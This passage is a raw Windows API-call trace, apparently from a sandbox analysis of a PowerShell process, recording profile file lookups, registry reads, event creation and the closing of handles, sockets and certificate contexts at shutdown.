lpPerformanceCount=0x250451d938*=22220238871) returned 1 [0125.093] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\profile.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0125.093] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\profile.ps1", nBufferLength=0x37, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\profile.ps1", lpFilePart=0x0) returned 0x36 [0125.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250451d7a0) returned 1 [0125.093] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\profile.ps1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x250451d880 | out: lpFileInformation=0x250451d880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0125.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250451d760) returned 1 [0125.093] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0125.093] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x4c, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x4b [0125.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250451d7a0) returned 1 [0125.094] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x250451d880 | out: lpFileInformation=0x250451d880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0125.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250451d760) returned 1 [0125.094] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\profile.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0125.094] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\profile.ps1", nBufferLength=0x38, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\profile.ps1", lpFilePart=0x0) returned 0x37 [0125.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250451d7a0) returned 1 [0125.094] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\profile.ps1" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x250451d880 | out: lpFileInformation=0x250451d880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0125.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250451d760) returned 1 [0125.094] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0125.094] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x4d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x4c [0125.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250451d7a0) returned 1 [0125.094] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x250451d880 | out: lpFileInformation=0x250451d880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0125.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250451d760) returned 1 [0125.095] QueryPerformanceCounter (in: lpPerformanceCount=0x250451d908 | out: lpPerformanceCount=0x250451d908*=22220482857) returned 1 [0127.490] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x678 [0127.490] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x674 [0127.490] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x67c [0127.490] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x680 [0127.490] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x684 [0127.490] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x688 [0127.491] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x68c [0127.491] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x690 [0127.491] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x694 [0127.491] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x698 [0127.491] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x69c [0127.491] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6a0 [0127.503] SetEvent (hEvent=0x680) returned 1 [0127.503] SetEvent (hEvent=0x678) returned 1 [0127.503] SetEvent (hEvent=0x674) returned 1 [0127.503] SetEvent (hEvent=0x67c) returned 1 [0127.511] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6a4 [0127.513] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x250451d5d8 | out: phkResult=0x250451d5d8*=0x6a8) returned 0x0 [0127.513] RegQueryValueExW (in: hKey=0x6a8, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x250451d628, lpData=0x0, lpcbData=0x250451d620*=0x0 | out: lpType=0x250451d628*=0x0, lpData=0x0, lpcbData=0x250451d620*=0x0) returned 0x2 [0127.514] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x6ac [0127.515] SetEvent (hEvent=0x6ac) returned 1 [0164.099] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xa44 [0164.099] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0xa58 [0164.099] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa50 [0164.099] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa5c [0164.099] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xa64 [0164.099] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0xa6c [0164.099] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa70 [0164.100] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa68 [0164.100] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xa60 [0164.100] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0xa40 [0164.100] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa54 [0164.100] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xaa4 [0164.100] SetEvent (hEvent=0xa5c) returned 1 [0164.100] SetEvent (hEvent=0xa44) returned 1 [0164.100] SetEvent (hEvent=0xa58) returned 1 [0164.100] SetEvent (hEvent=0xa50) returned 1 [0164.100] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xacc [0164.101] SetEvent (hEvent=0x6ac) returned 1 [0164.196] SetEvent (hEvent=0xa64) returned 1 [0164.196] SetEvent (hEvent=0xa6c) returned 1 [0164.196] SetEvent (hEvent=0xa70) returned 1 [0165.813] CoCreateGuid (in: pguid=0x250451c9d8 | out: pguid=0x250451c9d8*(Data1=0x964aa7b5, Data2=0xf3e5, Data3=0x426e, Data4=([0]=0x92, [1]=0x2f, [2]=0xf5, [3]=0xe3, [4]=0x3, [5]=0x32, [6]=0x83, [7]=0x6a))) returned 0x0 [0165.820] ReportEventW (hEventLog=0x1cbf2be0008, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x1cbdabdf240*="Stopped", lpRawData=0x1cbdabdf0a8) returned 1 [0165.993] SetEvent (hEvent=0x6ac) returned 1 [0167.307] CloseHandle (hObject=0x6ac) returned 1 [0168.421] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0168.424] CoGetContextToken (in: pToken=0x250451f710 | out: pToken=0x250451f710) returned 0x0 [0168.424] CObjectContext::QueryInterface () returned 0x0 [0168.424] CObjectContext::GetCurrentThreadType () returned 0x0 [0168.424] Release () returned 0x0 [0168.426] CoGetContextToken (in: pToken=0x250451f210 | out: pToken=0x250451f210) returned 0x0 [0168.426] CObjectContext::QueryInterface () returned 0x0 [0168.426] CObjectContext::GetCurrentThreadType () returned 0x0 [0168.426] Release () returned 0x0 [0168.430] CoGetContextToken (in: pToken=0x250451f210 | out: pToken=0x250451f210) returned 0x0 [0168.430] CObjectContext::QueryInterface () returned 0x0 [0168.430] CObjectContext::GetCurrentThreadType () returned 0x0 [0168.430] Release () returned 0x0 [0168.466] CoGetContextToken (in: pToken=0x250451f210 | out: pToken=0x250451f210) returned 0x0 [0168.466] CObjectContext::QueryInterface () returned 0x0 [0168.466] CObjectContext::GetCurrentThreadType () returned 0x0 [0168.466] Release () returned 0x0 [0168.569] CoGetContextToken (in: pToken=0x250451f230 | out: pToken=0x250451f230) returned 0x0 [0168.569] CObjectContext::QueryInterface () returned 0x0 [0168.569] CObjectContext::GetCurrentThreadType () returned 0x0 [0168.569] Release () returned 0x0 [0168.569] CoUninitialize () Thread: id = 144 os_tid = 0x1328 Thread: id = 145 os_tid = 0x12d8 Thread: id = 146 os_tid = 0xf84 [0106.189] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0106.189] RoInitialize () returned 0x1 [0106.189] RoUninitialize () returned 0x0 [0120.204] CoGetContextToken (in: pToken=0x25048ff9f0 | out: pToken=0x25048ff9f0) returned 0x0 [0120.204] CoGetContextToken (in: pToken=0x25048ff8f0 | out: pToken=0x25048ff8f0) returned 0x0 [0120.204] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x1 [0120.204] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x0 [0120.205] CloseHandle (hObject=0x5bc) returned 1 [0120.211] CertFreeCertificateContext (pCertContext=0x1cbf2853140) returned 1 [0120.212] CloseHandle (hObject=0x5f0) returned 1 [0120.212] CloseHandle (hObject=0x5b0) returned 1 [0135.662] RegCloseKey (hKey=0x6a8) returned 0x0 [0151.770] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0151.786] CertFreeCertificateContext (pCertContext=0x1cbf29f0ad0) returned 1 [0151.787] CertFreeCertificateContext (pCertContext=0x1cbf29eecd0) returned 1 [0152.933] CertFreeCertificateContext (pCertContext=0x1cbf29f05d0) returned 1 [0152.933] CloseHandle (hObject=0x664) returned 1 [0160.079] CertFreeCertificateContext (pCertContext=0x1cbf29efd50) returned 1 [0160.080] CloseHandle (hObject=0x8b0) returned 1 [0160.080] CloseHandle (hObject=0x898) returned 1 [0160.080] CloseHandle (hObject=0x894) returned 1 [0160.080] CertFreeCertificateContext (pCertContext=0x1cbf29ef150) returned 1 [0160.081] CloseHandle (hObject=0x8b4) returned 1 [0160.082] CloseHandle (hObject=0x78c) returned 1 [0160.082] CloseHandle (hObject=0x910) returned 1 [0160.082] CloseHandle (hObject=0x7b8) returned 1 [0160.082] CloseHandle (hObject=0x784) returned 1 [0160.083] CloseHandle (hObject=0x788) returned 1 [0160.083] CloseHandle (hObject=0x7b4) returned 1 [0160.083] CloseHandle (hObject=0x7a0) returned 1 [0160.083] CloseHandle (hObject=0x7b0) returned 1 [0160.084] CloseHandle (hObject=0x7a8) returned 1 [0160.084] CertCloseStore (hCertStore=0x1cbf28d3750, dwFlags=0x0) returned 1 [0160.084] CloseHandle (hObject=0x794) returned 1 [0160.084] CloseHandle (hObject=0x798) returned 1 [0160.084] CloseHandle (hObject=0x780) returned 1 [0160.085] CloseHandle (hObject=0x79c) returned 1 [0160.085] CloseHandle (hObject=0x77c) returned 1 [0160.085] CertFreeCertificateContext (pCertContext=0x1cbf29ef150) returned 1 [0160.085] CloseHandle (hObject=0x778) returned 1 [0160.085] CertFreeCertificateContext (pCertContext=0x1cbf29ef350) returned 1 [0160.086] CloseHandle (hObject=0x76c) returned 1 [0160.086] CertFreeCertificateContext (pCertContext=0x1cbf29eedd0) returned 1 [0161.169] CertFreeCertificateContext (pCertContext=0x1cbf29f1350) returned 1 [0168.426] EtwEventUnregister () returned 0x0 [0168.426] EtwEventUnregister () returned 0x0 [0168.427] EtwEventUnregister () returned 0x0 [0168.427] EtwEventUnregister () returned 0x0 [0168.427] EtwEventUnregister () returned 0x0 [0168.427] EtwEventUnregister () returned 0x0 [0168.427] EtwEventUnregister () returned 0x0 [0168.427] EtwEventUnregister () returned 0x0 [0168.428] EtwEventUnregister () returned 0x0 [0168.448] CloseHandle (hObject=0x5ec) returned 1 [0168.451] CloseHandle (hObject=0x760) returned 1 [0168.451] CloseHandle (hObject=0x75c) returned 1 [0168.452] UnmapViewOfFile (lpBaseAddress=0x1cbda160000) returned 1 [0168.452] CloseHandle (hObject=0xaa4) returned 1 [0168.453] CloseHandle (hObject=0xa54) returned 1 [0168.453] CloseHandle (hObject=0xa40) returned 1 [0168.453] CloseHandle (hObject=0x6a4) returned 1 [0168.454] CloseHandle (hObject=0x6a0) returned 1 [0168.454] CloseHandle (hObject=0x69c) returned 1 [0168.454] CloseHandle (hObject=0x698) returned 1 [0168.455] CloseHandle (hObject=0x694) returned 1 [0168.455] CloseHandle (hObject=0x690) returned 1 [0168.455] CloseHandle (hObject=0x68c) returned 1 [0168.455] CloseHandle (hObject=0x688) returned 1 [0168.456] CloseHandle (hObject=0x684) returned 1 [0168.456] CloseHandle (hObject=0x680) returned 1 [0168.456] CloseHandle (hObject=0x67c) returned 1 [0168.457] CloseHandle (hObject=0x674) returned 1 [0168.457] CloseHandle (hObject=0x678) returned 1 [0168.457] CloseHandle (hObject=0xa60) returned 1 [0168.458] CloseHandle (hObject=0xa68) returned 1 [0168.458] CloseHandle (hObject=0xa70) returned 1 [0168.458] CloseHandle (hObject=0xa6c) returned 1 [0168.458] CloseHandle (hObject=0xa64) returned 1 [0168.459] CloseHandle (hObject=0xa5c) returned 1 [0168.459] CloseHandle (hObject=0xa50) returned 1 [0168.459] CloseHandle (hObject=0x9c4) returned 1 [0168.459] CloseHandle (hObject=0xa58) returned 1 [0168.460] CloseHandle (hObject=0x9d8) returned 1 [0168.461] setsockopt (s=0x818, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0168.461] closesocket (s=0x818) returned 0 [0168.462] CloseHandle (hObject=0x81c) returned 1 [0168.462] CloseHandle (hObject=0x3c4) returned 1 [0168.463] WinHttpCloseHandle (hInternet=0x1cbf2a35300) returned 1 [0168.463] CloseHandle (hObject=0x9d4) returned 1 [0168.464] DeregisterEventSource (hEventLog=0x1cbf2be0008) returned 1 [0168.552] CloseHandle (hObject=0x858) returned 1 [0168.552] setsockopt (s=0x810, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0168.553] closesocket (s=0x810) returned 0 [0168.553] CloseHandle (hObject=0x814) returned 1 [0168.554] setsockopt (s=0x908, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0168.554] closesocket (s=0x908) returned 0 [0168.554] CloseHandle (hObject=0x90c) returned 1 [0168.555] CloseHandle (hObject=0x5b8) returned 1 [0168.555] CloseHandle (hObject=0x854) returned 1 [0168.555] RegCloseKey (hKey=0x850) returned 0x0 [0168.556] setsockopt (s=0x8fc, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0168.556] closesocket (s=0x8fc) returned 0 [0168.556] CloseHandle (hObject=0x904) returned 1 [0168.557] CloseHandle (hObject=0x9d0) returned 1 [0168.557] CloseHandle (hObject=0xa44) returned 1 [0168.557] CloseHandle (hObject=0x84c) returned 1 [0168.558] FreeCredentialsHandle (phCredential=0x1cbdaa45700) returned 0x0 [0168.559] DeleteSecurityContext (phContext=0x1cbdaa45928) returned 0x0 [0168.560] RegCloseKey (hKey=0x848) returned 0x0 [0168.560] CloseHandle (hObject=0x844) returned 1 [0168.561] RegCloseKey (hKey=0x840) returned 0x0 [0168.561] CloseHandle (hObject=0x308) returned 1 [0168.561] RegCloseKey (hKey=0x83c) returned 0x0 [0168.562] CloseHandle (hObject=0x824) returned 1 [0168.562] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 [0168.563] LocalFree (hMem=0x1cbd873d080) returned 0x0 [0168.563] setsockopt (s=0x8f4, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0168.563] closesocket (s=0x8f4) returned 0 [0168.565] CloseHandle (hObject=0x3c0) returned 1 [0168.565] CloseHandle (hObject=0xb5c) returned 1 [0168.566] CloseHandle (hObject=0x9cc) returned 1 [0168.566] CloseHandle (hObject=0x768) returned 1 [0168.566] CloseHandle (hObject=0x764) returned 1 [0168.567] CloseHandle (hObject=0xacc) returned 1 [0168.568] CoGetContextToken (in: pToken=0x25048ff3a0 | out: pToken=0x25048ff3a0) returned 0x0 [0168.568] CoGetContextToken (in: pToken=0x25048ff2a0 | out: pToken=0x25048ff2a0) returned 0x0 [0168.568] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x2 [0168.568] Release () returned 0x1 [0168.569] SleepEx (dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 147 os_tid = 0x678 Thread: id = 148 os_tid = 0xccc Thread: id = 149 os_tid = 0x558 Thread: id = 150 os_tid = 0xd44 [0111.408] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0111.409] CoGetContextToken (in: pToken=0x2504aff7f0 | out: pToken=0x2504aff7f0) returned 0x0 [0111.409] CObjectContext::QueryInterface () returned 0x0 [0111.409] CObjectContext::GetCurrentThreadType () returned 0x0 [0111.409] Release () returned 0x0 [0111.409] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0111.409] CoUninitialize () [0111.409] RoInitialize () returned 0x1 [0111.409] RoUninitialize () returned 0x0 [0111.487] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x104, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0111.487] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x88 [0111.487] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x88, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0111.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2504afde30) returned 1 [0111.487] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x2504afdf10 | out: lpFileInformation=0x2504afdf10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ce8766, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x71ce8766, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x71d0e9d1, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x623400)) returned 1 [0111.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2504afddf0) returned 1 [0111.487] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x2504afdfe8 | out: lpdwHandle=0x2504afdfe8) returned 0x94c [0111.489] GetFileVersionInfoW (in: lptstrFilename="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x1cbda5e1b48 | out: lpData=0x1cbda5e1b48) returned 1 [0111.490] VerQueryValueW (in: pBlock=0x1cbda5e1b48, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x2504afdf68, puLen=0x2504afdf60 | out: lplpBuffer=0x2504afdf68*=0x1cbda5e1be4, puLen=0x2504afdf60) returned 1 [0111.490] VerQueryValueW (in: pBlock=0x1cbda5e1b48, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x2504afdf08, puLen=0x2504afdf00 | out: lplpBuffer=0x2504afdf08*=0x1cbda5e1cc0, puLen=0x2504afdf00) returned 1 [0111.490] VerQueryValueW (in: pBlock=0x1cbda5e1b48, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x2504afdf08, puLen=0x2504afdf00 | out: lplpBuffer=0x2504afdf08*=0x1cbda5e1d14, puLen=0x2504afdf00) returned 1 [0111.490] VerQueryValueW (in: pBlock=0x1cbda5e1b48, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x2504afdf08, puLen=0x2504afdf00 | out: lplpBuffer=0x2504afdf08*=0x1cbda5e1d70, puLen=0x2504afdf00) returned 1 [0111.490] VerQueryValueW (in: pBlock=0x1cbda5e1b48, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x2504afdf08, puLen=0x2504afdf00 | out: lplpBuffer=0x2504afdf08*=0x1cbda5e1db0, puLen=0x2504afdf00) returned 1 [0111.490] VerQueryValueW (in: pBlock=0x1cbda5e1b48, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x2504afdf08, puLen=0x2504afdf00 | out: lplpBuffer=0x2504afdf08*=0x1cbda5e1e18, puLen=0x2504afdf00) returned 1 [0111.490] VerQueryValueW (in: pBlock=0x1cbda5e1b48, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x2504afdf08, puLen=0x2504afdf00 | out: lplpBuffer=0x2504afdf08*=0x1cbda5e1eb4, puLen=0x2504afdf00) returned 1 [0111.490] VerQueryValueW (in: pBlock=0x1cbda5e1b48, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x2504afdf08, puLen=0x2504afdf00 | out: lplpBuffer=0x2504afdf08*=0x1cbda5e1f18, puLen=0x2504afdf00) returned 1 [0111.490] VerQueryValueW (in: pBlock=0x1cbda5e1b48, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x2504afdf08, puLen=0x2504afdf00 | out: lplpBuffer=0x2504afdf08*=0x1cbda5e1f94, puLen=0x2504afdf00) returned 1 [0111.490] VerQueryValueW (in: pBlock=0x1cbda5e1b48, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x2504afdf08, puLen=0x2504afdf00 | out: lplpBuffer=0x2504afdf08*=0x1cbda5e1c3c, puLen=0x2504afdf00) returned 1 [0111.490] VerQueryValueW (in: pBlock=0x1cbda5e1b48, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x2504afdf08, puLen=0x2504afdf00 | out: lplpBuffer=0x2504afdf08*=0x0, puLen=0x2504afdf00) returned 0 [0111.491] VerQueryValueW (in: pBlock=0x1cbda5e1b48, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x2504afdf08, puLen=0x2504afdf00 | out: lplpBuffer=0x2504afdf08*=0x0, puLen=0x2504afdf00) returned 0 [0111.491] VerQueryValueW (in: pBlock=0x1cbda5e1b48, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x2504afdf08, puLen=0x2504afdf00 | out: lplpBuffer=0x2504afdf08*=0x0, puLen=0x2504afdf00) returned 0 [0111.491] VerQueryValueW (in: pBlock=0x1cbda5e1b48, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x2504afdeb8, puLen=0x2504afdeb0 | out: lplpBuffer=0x2504afdeb8*=0x1cbda5e1be4, puLen=0x2504afdeb0) returned 1 [0111.491] VerLanguageNameW (in: wLang=0x0, szLang=0x2504afdbe0, cchLang=0x100 | out: szLang="ニュートラル言語") returned 0x8 [0111.491] VerQueryValueW (in: pBlock=0x1cbda5e1b48, lpSubBlock="\\", lplpBuffer=0x2504afdf08, puLen=0x2504afdf00 | out: lplpBuffer=0x2504afdf08*=0x1cbda5e1b70, puLen=0x2504afdf00) returned 1 [0111.502] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afdf38 | out: phkResult=0x2504afdf38*=0x318) returned 0x0 [0111.596] RegQueryValueExW (in: hKey=0x318, lpValueName="ServiceStackVersion", lpReserved=0x0, lpType=0x2504afdf88, lpData=0x0, lpcbData=0x2504afdf80*=0x0 | out: lpType=0x2504afdf88*=0x1, lpData=0x0, lpcbData=0x2504afdf80*=0x8) returned 0x0 [0111.596] RegQueryValueExW (in: hKey=0x318, lpValueName="ServiceStackVersion", lpReserved=0x0, lpType=0x2504afdf88, lpData=0x1cbda5e66d8, lpcbData=0x2504afdf80*=0x8 | out: lpType=0x2504afdf88*=0x1, lpData="3.0", lpcbData=0x2504afdf80*=0x8) returned 0x0 [0111.598] RegCloseKey (hKey=0x318) returned 0x0 [0111.599] 